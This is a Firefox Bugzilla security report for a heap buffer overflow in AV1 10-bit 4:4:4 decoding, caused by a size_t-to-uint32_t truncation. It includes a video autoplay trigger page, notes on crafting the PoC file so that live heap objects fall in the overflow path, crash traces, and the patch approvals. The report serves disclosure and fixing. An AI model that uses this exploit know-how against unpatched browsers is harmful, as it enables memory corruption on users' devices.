Closed Bug 2020174 (CVE-2026-3845) Opened 3 months ago Closed 3 months ago

Heap buffer overflow in `BufferRecycleBin::GetBuffer` via `size_t`-to-`uint32_t` narrowing truncation during AV1 10-bit 4:4:4 decoding (on some Android GPUs)

Categories

(Core :: Audio/Video: Playback, defect, P2)

Firefox 149
All
Android
defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- disabled
firefox-esr140 --- disabled
firefox148 + fixed
firefox149 + fixed
firefox150 + fixed

People

(Reporter: pwning.me, Assigned: jhlin)

References

(Regression)

Details

(5 keywords, Whiteboard: [adv-main148.0.2+])

Attachments

(5 files)

Attached video poc_37755_exploit.mp4

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

Steps to reproduce:

<!DOCTYPE html>
<html>
<body>
<video src="poc_37755_exploit.mp4" autoplay muted></video>
</body>
</html>

PoC Notes

  • The AV1 bitstream uses Profile 1 (High), enabling 10-bit I444 subsampling.
  • Frame content is all-skip DC_PRED blocks, producing uniform decoded output that compresses 20:1 to 100:1 under LZ4/ZSTD (Android zRAM), reducing physical memory requirements from ~8.6 GB to ~86–430 MB.
  • The MP4 container is used deliberately: MP4VideoInfo::IsValid has no upper dimension bound, while the WebM demuxer enforces MAX_DIMENSION=16384 via IsValidVideoRegion, which would block the PoC in the WebM path.
  • poc_37755_exploit.mp4 uses height 37,755 to produce a 41,504-byte truncated allocation in mozjemalloc's large class. Unlike the 37853 variant (11 MB, huge class, standalone mmap with guard pages), the large-class allocation resides inside a shared 1 MB arena_chunk_t, placing live C++ heap objects in the overflow write path before the inevitable crash at the chunk boundary.

Actual results:

summary

BufferRecycleBin::GetBuffer(uint32_t aSize)atgfx/layers/ImageContainer.cpp:88accepts auint32_tparameter. Its sole callerVideoData::QuantizableBuffer::AllocateRecyclableData(size_t aLength)atdom/media/MediaData.cpp:585passes asize_t` value, producing an implicit narrowing conversion with no overflow check.

When a DAV1D-decoded AV1 10-bit I444 frame exceeds approximately 37,853 × 37,853 pixels, the total 8-bit output buffer size computed in To8BitPerChannel (yLength + 2 * uvLength) overflows UINT32_MAX. GetBuffer allocates only the truncated low-32-bit value (~10.67 MB), and the subsequent libyuv I410ToI444 call writes the full ~4.01 GB into the undersized allocation, causing a massive heap buffer overflow.

Triggering the current path requires media.prefer-non-ffvpx=true (non-default) on all platforms. However, the narrowing bug in GetBuffer(uint32_t) is a latent defect present in the codebase on all 64-bit builds; any future caller passing size_t > UINT32_MAX will trigger it without additional preconditions.

  • gfx/layers/ImageContainer.cppBufferRecycleBin::GetBuffer(uint32_t aSize) (root cause: wrong parameter type)
  • dom/media/MediaData.cppVideoData::QuantizableBuffer::AllocateRecyclableData(size_t), To8BitPerChannel
  • dom/media/platforms/agnostic/DAV1DDecoder.cppConstructImage (validation ordering, missing frame_size_limit)
  • dom/media/mp4/DecoderData.cppMP4VideoInfo::IsValid (missing upper dimension bound)

Root Cause Analysis

Primary defect: BufferRecycleBin::GetBuffer(uint32_t)

gfx/layers/ImageContainer.cpp:88:

UniquePtr<uint8_t[]> BufferRecycleBin::GetBuffer(uint32_t aSize) {

The parameter type is uint32_t. The function searches its free-list for a buffer of at least aSize bytes, or calls new(fallible) uint8_t[aSize]. On 64-bit platforms, callers may pass a value that originated as a size_t exceeding UINT32_MAX, which the C++ implicit narrowing silently truncates.

Call chain

DAV1DDecoder::ConstructImage          DAV1DDecoder.cpp:361
  VideoData::QuantizableBuffer::To8BitPerChannel   MediaData.cpp:524
    VideoData::QuantizableBuffer::AllocateRecyclableData(size_t aLength)
                                       MediaData.cpp:581-586
      mRecycleBin->GetBuffer(aLength)  <-- size_t implicitly cast to uint32_t

AllocateRecyclableData at dom/media/MediaData.cpp:581:

void VideoData::QuantizableBuffer::AllocateRecyclableData(size_t aLength) {
  MOZ_ASSERT(!m8bpcPlanes, "Should not allocate more than once.");
  MOZ_ASSERT(aLength > 0, "Zero-length allocation!");
  m8bpcPlanes = mRecycleBin->GetBuffer(aLength);  // implicit size_t -> uint32_t
  ...
}

To8BitPerChannel at dom/media/MediaData.cpp:508-564 computes the total as size_t, passes it to AllocateRecyclableData, and then calls libyuv with the full-size strides and dimensions, writing far beyond the truncated allocation.

Contributing factor 1: Validation ordering in DAV1DDecoder

DAV1DDecoder::ConstructImage at DAV1DDecoder.cpp:360-367:

if (aPicture.p.bpc != 8 && m8bpcOutput) {
    MediaResult rv = b.To8BitPerChannel(m8bpcRecycleBin);  // line 361 — overflow here
    ...
}
// ValidatePlane (MAX_DIMENSION=16384 check) runs inside CreateAndCopyData at line 367

Steps to Reproduce

Prerequisites

Requirement Value
Platform Linux x86-64 (ASAN build) or Android API 34 x86_64 (16 GB RAM or zRAM-enabled)
Firefox version 148.0a1 (Nightly)
Pref: media.prefer-non-ffvpx true (set in user.js or about:config)
Pref: media.hardware-video-decoding.enabled false (desktop only, forces SW path)
Pref: media.autoplay.default 0 (allow autoplay)
For desktop desktop kIsAndroid bypass Patch VideoFrameContainer.cpp:35 to force kIsAndroid=true, OR use a compromised content process with IPC option injection
PoC file poc_37853_real.mp4 (attached) — AV1 Profile 1, 37853×37853, 10-bit I444, ~25 KB

Reproduction Steps

  1. Set media.prefer-non-ffvpx=true in about:config.
  2. Set media.hardware-video-decoding.enabled=false (desktop).
  3. Set media.autoplay.default=0.
  4. On Android: ensure media.rdd-process.enabled=false (default on Android).
  5. Open a page containing: <video src="poc_37853_real.mp4" autoplay muted></video> (see attached trigger_minimal.html).
  6. Wait approximately 10–60 seconds while dav1d allocates frame buffers and libyuv writes past the truncated buffer.

Reproducibility

  • 100% on Android x86_64 emulator with 16 GB RAM and the pref set. Crash in ~10-19 seconds. Auto-restart produces a second crash (two consecutive tombstones confirmed).
  • 100% on x86-64 Linux ASAN build with kIsAndroid patched and the pref set.
  • Not reproducible in default Firefox without media.prefer-non-ffvpx=true.

Result

Firefox crashes with a heap buffer overflow: ASAN CHECK failed on x86-64 Linux (RDD process), or SIGSEGV / SEGV_ACCERR tombstone on Android (content process)


Arithmetic Verification

// AV1 10-bit I444, 37853x37853
uint32_t aligned_w = (37853 + 127) & ~127u;     // 37888
size_t y_stride    = (size_t)aligned_w << 1;     // 75776
if ((y_stride & 1023) == 0) y_stride += 64;      // 75840 (dav1d cache line padding)
int    yStride     = (int)(y_stride / 2);         // 37920
size_t yLength     = (size_t)((uint32_t)yStride * 37853u); // 1,435,385,760 bytes
size_t total       = yLength + yLength * 2;       // 4,306,157,280 bytes

// UINT32_MAX              = 4,294,967,295
// total > UINT32_MAX      → YES (delta: 11,189,985)
// GetBuffer receives      = (uint32_t)total = 11,189,984 bytes (~10.67 MB)
// libyuv writes           = ~4.01 GB
// Heap overflow magnitude = ~4.00 GB

Proof of Concept

ASAN Crash (x86-64 Linux, RDD process)

Build: Firefox 148.0a1 ASAN, kIsAndroid=true patch applied, media.prefer-non-ffvpx=true.
RSS at crash time: ~17.4 GB (dav1d frame pool exhausted physical memory).

=================================================================
AddressSanitizer: CHECK failed: sanitizer_allocator_secondary.h:199 "((nearest_chunk)) >= ((h->map_beg))" (0x7475f0a63000, 0x8080808080808080) (tid=1624897)
    #0 0x568d84b95e51 in __asan::CheckUnwind() asan_rtl.cpp:69
    #1 0x568d84bb0802 in __sanitizer::CheckFailed() sanitizer_termination.cpp:86
    #2 0x568d84aeed27 in __sanitizer::LargeMmapAllocator<__sanitizer::AsanMapUnmapCallback, __sanitizer::CrashOnMapUnmap>::GetBlockBegin() sanitizer_allocator_secondary.h:199
    #3 0x568d84aed732 in GetBlockBegin sanitizer_allocator_combined.h:132
    #4 0x568d84aed732 in __asan::Allocator::GetAsanChunkByAddr() asan_allocator.cpp:839
    #5 0x568d84aec788 in __asan::Allocator::FindHeapChunkByAddress() asan_allocator.cpp:864
    #6 0x568d84af3337 in __asan::GetHeapAddressInformation() asan_descriptions.cpp:159
    #7 0x568d84af44e4 in __asan::AddressDescription::AddressDescription() asan_descriptions.cpp:447
    #8 0x568d84af6393 in __asan::ErrorGeneric::ErrorGeneric() asan_errors.cpp:416
    #9 0x568d84b92d88 in __asan::ReportGenericError() asan_report.cpp:505
    #10 0x568d84b87e60 in __asan_memcpy asan_interceptors_memintrinsics.cpp:63
    #11 0x747d524b5d2c in Convert16To8Row_Any_AVX2 row_any.cc:1735
    #12 0x747d5247ccd9 in Convert16To8Plane planar_functions.cc:178
    #13 0x747d52403627 in libyuv::Planar16bitTo8bit convert.cc:201
    #14 0x747d52403dd4 in I410ToI444 convert.cc:403
    #15 0x747d48ac5e7e in std::__invoke_impl<void, mozilla::VideoData::QuantizableBuffer::To8BitPerChannel(mozilla::RefPtr<mozilla::layers::BufferRecycleBin>)::<lambda(int, int, int, const uint8_t*, int, uint8_t*, int)>&, int&, int&, int&, const unsigned char*&, int&, unsigned char*&, int&> invoke.h:60
    #16 0x747d48ac596c in std::__invoke_r<void, mozilla::VideoData::QuantizableBuffer::To8BitPerChannel(mozilla::RefPtr<mozilla::layers::BufferRecycleBin>)::<lambda(int, int, int, const uint8_t*, int, uint8_t*, int)>&, int&, int&, int&, const unsigned char*&, int&, unsigned char*&, int&> invoke.h:113
    #17 0x747d48ac5784 in std::_Function_handler<void (int, int, int, const unsigned char*, int, unsigned char*, int), mozilla::VideoData::QuantizableBuffer::To8BitPerChannel(mozilla::RefPtr<mozilla::layers::BufferRecycleBin>)::<lambda(int, int, int, const uint8_t*, int, uint8_t*, int)> >::_M_invoke(const std::_Any_data &, int &&, int &&, int &&, const unsigned char *&&, int &&, unsigned char *&&, int &&) std_function.h:291
    #18 0x747d48ac22b4 in std::function<void (int, int, int, const unsigned char*, int, unsigned char*, int)>::operator()(int, int, int, const unsigned char*, int, unsigned char*, int) const std_function.h:622
    #19 0x747d48abda27 in mozilla::VideoData::QuantizableBuffer::To8BitPerChannel(mozilla::RefPtr<mozilla::layers::BufferRecycleBin>) MediaData.cpp:561
    #20 0x747d49c2a543 in mozilla::DAV1DDecoder::ConstructImage(mozilla::Dav1dPictureWrapper const&) DAV1DDecoder.cpp:361
    #21 0x747d49c296b1 in mozilla::DAV1DDecoder::GetPicture(mozilla::Dav1dPictureWrapper&) DAV1DDecoder.cpp:252
    #22 0x747d49c6038b in mozilla::DAV1DDecoder::Drain()::$_0::operator()() const DAV1DDecoder.cpp:378
    #23 0x747d49c5fbe4 in void std::__invoke_impl<void, mozilla::DAV1DDecoder::Drain()::$_0&>(std::__invoke_other, mozilla::DAV1DDecoder::Drain()::$_0&) MozPromise.h:1838
    #24 0x747d3c241536 in mozilla::TaskQueue::Runner::Run() TaskQueue.cpp:263
    #25 0x747d3c2c30ab in nsThreadPool::Run() nsThreadPool.cpp:441
    #26 0x747d3c2b2c3b in nsThread::ProcessNextEvent(bool, bool*) nsThread.cpp:1158
    #27 0x747d3c2bdaf9 in NS_ProcessNextEvent(nsIThread*, bool) nsThreadUtils.cpp:461
    #28 0x747d3e784506 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) MessagePump.cpp:299
    #29 0x747d3e5036ff in MessageLoop::RunInternal() message_loop.cc:368
    #30 0x747d3e5035a4 in MessageLoop::RunHandler() message_loop.cc:361
    #31 0x747d3e50350d in MessageLoop::Run() message_loop.cc:343
    #32 0x747d3c2aa674 in nsThread::ThreadFunc(void*) nsThread.cpp:373
    #33 0x787d6865bbb8 in _pt_root ptthread.c:191
    #34 0x568d84b86236 in asan_thread_start(void*) asan_interceptors.cpp:239
    #35 0x787d68a9caa3 in start_thread pthread_create.c:447
    #36 0x787d68b29c6b in clone3 clone3.S:78

The poison value 0x8080808080808080 at comparison position is ASAN shadow memory overwritten by libyuv pixel data, confirming the overflow traversed ASAN's internal allocator metadata. ASAN detected the corruption when __asan_memcpy at frame #10 attempted to validate the destination address, found the nearest_chunk pointer had been corrupted to a dav1d-decoded pixel pattern (0x7475f0a63000), and invoked CHECK failed.

GDB natural SIGSEGV (separate run, no ASAN, confirming out-of-bounds destination pointers):

#7  Convert16To8Row_AVX2 (dst_y=0x6eda6c60e800, width=1432849600)   row_gcc.cc:5017
#10 libyuv::Planar16bitTo8bit (
      dst_y=0x6eda6c60e800,    <-- truncated buffer start
      dst_u=0x6edac1c874c9,    <-- +1.43 GB, lands in libxul.so .text
      dst_v=0x6edb17300192,    <-- +2.86 GB, also in libxul.so .text
      width=37853, height=37853, depth=10)   convert.cc:201
#16 mozilla::VideoData::QuantizableBuffer::To8BitPerChannel()   MediaData.cpp:561
#17 mozilla::DAV1DDecoder::ConstructImage()                      DAV1DDecoder.cpp:393

The dst_u and dst_v pointers, computed as dst_y + yLength and dst_y + 2*yLength respectively, land inside libxul.so's executable code section because yLength (~1.43 GB) times 3 spans the entire user-space heap.

Android Tombstone (x86_64, API 34, KVM-accelerated emulator)

Build: geckoview_example-debug.apk (release+dbginfo), 16 GB emulator RAM.
Prefs: media.prefer-non-ffvpx=true, autoplay enabled.
Trigger: trigger_minimal.html<video src="poc_37853_real.mp4" autoplay muted></video> (attached).
Crash time: ~10-19 seconds after page load. 100% reproducible (GeckoView auto-restarted the tab and crashed again within seconds, producing two consecutive tombstones).

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_x86_64/emu64xa:14/UE1A.230829.050/12077443:userdebug/dev-keys'
Revision: '0'
ABI: 'x86_64'
Timestamp: 2026-03-01 11:52:17.187919256+0900
Process uptime: 19s
Cmdline: org.mozilla.geckoview_example:tab7
pid: 7233, tid: 7306, name: MediaPDecoder #  >>> org.mozilla.geckoview_example:tab7 <<<
uid: 10192
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x00007c7abc0ac000
    rax 00000000000093d0  rbx 00000000000093dd  rcx 00000000000084b0  rdx 00007c7abc0ac000
    r8  0000000000004000  r9  00000000000093dd  r10 0000000000000000  r11 0000000000000000
    r12 00007c73ff8561c0  r13 00000000000092b6  r14 00007c7abc0ab0e0  r15 0000000000004000
    rdi 00007c73ff8561c0  rsi 00007c73ff858020
    rbp 00007c7c0f0c6d50  rsp 00007c7c0f0c6c40  rip 00007c7bfd146301

backtrace:
      #00 pc 0000000009143301  base.apk!libxul.so (offset 0xf2e0000)
      #01 pc 000000000911bb1e  base.apk!libxul.so
      #02 pc 00000000090c3117  base.apk!libxul.so
      #03 pc 00000000090c3508  base.apk!libxul.so
      #04 pc 0000000006d334ab  base.apk!libxul.so
      #05 pc 0000000006d3111e  base.apk!libxul.so
      #06 pc 0000000007165a02  base.apk!libxul.so
      #07 pc 00000000071652d7  base.apk!libxul.so
      #08 pc 0000000007172302  base.apk!libxul.so
      #09 pc 0000000003f883b8  base.apk!libxul.so
      #10 pc 0000000003fa769e  base.apk!libxul.so
      #11 pc 0000000003fa21e7  base.apk!libxul.so
      #12 pc 0000000003fa5f7b  base.apk!libxul.so
      #13 pc 000000000489e766  base.apk!libxul.so
      #14 pc 00000000048126b4  base.apk!libxul.so
      #15 pc 0000000003f9f9b4  base.apk!libxul.so
      #16 pc 00000000001f7425  base.apk!libnss3.so
      #17 pc 00000000000cd06a  libc.so (__pthread_start+58)
      #18 pc 0000000000062d88  libc.so (__start_thread+56)

memory near rdx ([anon:jemalloc-decommitted]):
    00007c7abc0abfe0 8080808080808080 8080808080808080  ................
    00007c7abc0abff0 8080808080808080 8080808080808080  ................
    00007c7abc0ac000 ---------------- ----------------  ................
    00007c7abc0ac010 ---------------- ----------------  ................

memory near r12 (source, dav1d 10-bit pixels):
    00007c73ff8561a0 0200020002000200 0200020002000200  ................
    00007c73ff8561b0 0200020002000200 0200020002000200  ................
    00007c73ff8561c0 0200020002000200 0200020002000200  ................
    00007c73ff8561d0 0200020002000200 0200020002000200  ................

memory near r14 (destination, 8-bit output buffer):
    00007c7abc0ab0c0 8080808080808080 8080808080808080  ................
    00007c7abc0ab0d0 8080808080808080 8080808080808080  ................
    00007c7abc0ab0e0 8080808080808080 8080808080808080  ................
    00007c7abc0ab0f0 8080808080808080 8080808080808080  ................

Register state analysis:

  • rbx = 0x93DD (37,853) — frame width (matches PoC dimensions)
  • r13 = 0x92B6 (37,558) — remaining rows at crash (37,853 - 295 rows written)
  • r15 = 0x4000 (16,384) — page size
  • rdx = 0x7c7abc0ac000 — fault address, first decommitted page past the allocation
  • r12 = 0x7c73ff8561c0 — source pointer into dav1d decoded frame (0x0200 = 512 = gray pixel in 10-bit)
  • r14 = 0x7c7abc0ab0e0 — destination pointer, already writing 0x80 bytes (512>>2 = 0x80, the 8-bit conversion)

The destination buffer is in [anon:jemalloc-decommitted] space. The 0x80 pattern at the destination confirms libyuv is actively writing converted 8-bit pixel values (0x80 = 128, matching the 10-bit source value 512 >> 2). The fault at rdx = r14 + 0xF20 (3,872 bytes ahead) occurs when the sequential write crosses a mozjemalloc page boundary into decommitted memory.

A second tombstone (tombstone_06) was captured 12 seconds later after GeckoView automatically relaunched the tab:

  • PID 7958, tid 8031 (MediaPDecoder #, tab12)
  • signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x7c7c069ac000
  • Identical libxul.so offsets (#00 = 0x09143301), identical register patterns (r12 source 0x0200, destination 0x80)
  • Confirms 100% reproducibility with zero user interaction beyond initial page load.

Expected results:

Firefox rejects the oversized AV1 frame dimensions before any allocation occurs.

Attached video poc_37853_real.mp4
Group: core-security → media-core-security
Severity: -- → S2
Priority: -- → P2
Flags: needinfo?(jolin)
Assignee: nobody → jolin
Flags: needinfo?(jolin)
Attached file (secure)

John, the specific steps here require setting nonstandard prefs, but would we hit this codepath on say some particular Android phones without them? Thanks.

Flags: needinfo?(jolin)

(In reply to Andrew McCreight [:mccr8] from comment #3)

John, the specific steps here require setting nonstandard prefs, but would we hit this codepath on say some particular Android phones without them? Thanks.

Yes, on devices affected in bug 1970771, To8BitPerChannel() is also called by the FFVPX decoder and this codepath will be hit.

Flags: needinfo?(jolin)
Status: UNCONFIRMED → NEW
Ever confirmed: true
OS: Unspecified → Android
Hardware: Unspecified → All

Comment on attachment 9550110 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It's easy.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta and release and affected and the flags are correct
  • If not all supported branches, which bug introduced the flaw?: Bug 1970771
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: The same patch can be directly applied to other branches.
  • How likely is this patch to cause regressions; how much testing does it need?: Very unlikely. The patch is simple and small, and it only needs a quick manual check by opening attached test video in the bug.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9550110 - Flags: sec-approval?
Keywords: regression
Regressed by: 1970771

[Tracking Requested - why for this release]:

Bug 1970771 mentioned Pixel 6/7 devices, which are ~4 years old. Might be worth landing in the point release since it's a simple CheckedInt fix (safe, and also obvious).

Summary: Heap buffer overflow in `BufferRecycleBin::GetBuffer` via `size_t`-to-`uint32_t` narrowing truncation during AV1 10-bit 4:4:4 decoding → Heap buffer overflow in `BufferRecycleBin::GetBuffer` via `size_t`-to-`uint32_t` narrowing truncation during AV1 10-bit 4:4:4 decoding (on some Android GPUs)

Comment on attachment 9550110 [details]
(secure)

sec-approval+ to land now and request uplifts. I'm checking with release managers about landing on Release for the 148 point release.

Attachment #9550110 - Flags: sec-approval? → sec-approval+

If this lands today/tomorrow and gets beta and release uplift requests, then we can take it in the planned Fx148 dot release

Flags: needinfo?(jolin)
Attached file (secure)
Attachment #9550596 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined: Tab crashes when playing malformed HEVC video.
  • Code covered by automated testing: no
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The change is small and simple.
  • String changes made/needed: No
  • Is Android affected?: yes

firefox-release Uplift Approval Request

  • User impact if declined: Tab crashes when playing malformed HEVC video.
  • Code covered by automated testing: no
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The change is small and simple.
  • String changes made/needed: No
  • Is Android affected?: yes
Attachment #9550597 - Flags: approval-mozilla-release?
Attached file (secure)
Group: media-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 3 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9550596 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9550597 - Flags: approval-mozilla-release? → approval-mozilla-release+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Flags: sec-bounty?
Whiteboard: [adv-main148.0.2+]
Flags: needinfo?(jolin)
Alias: CVE-2026-3845
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: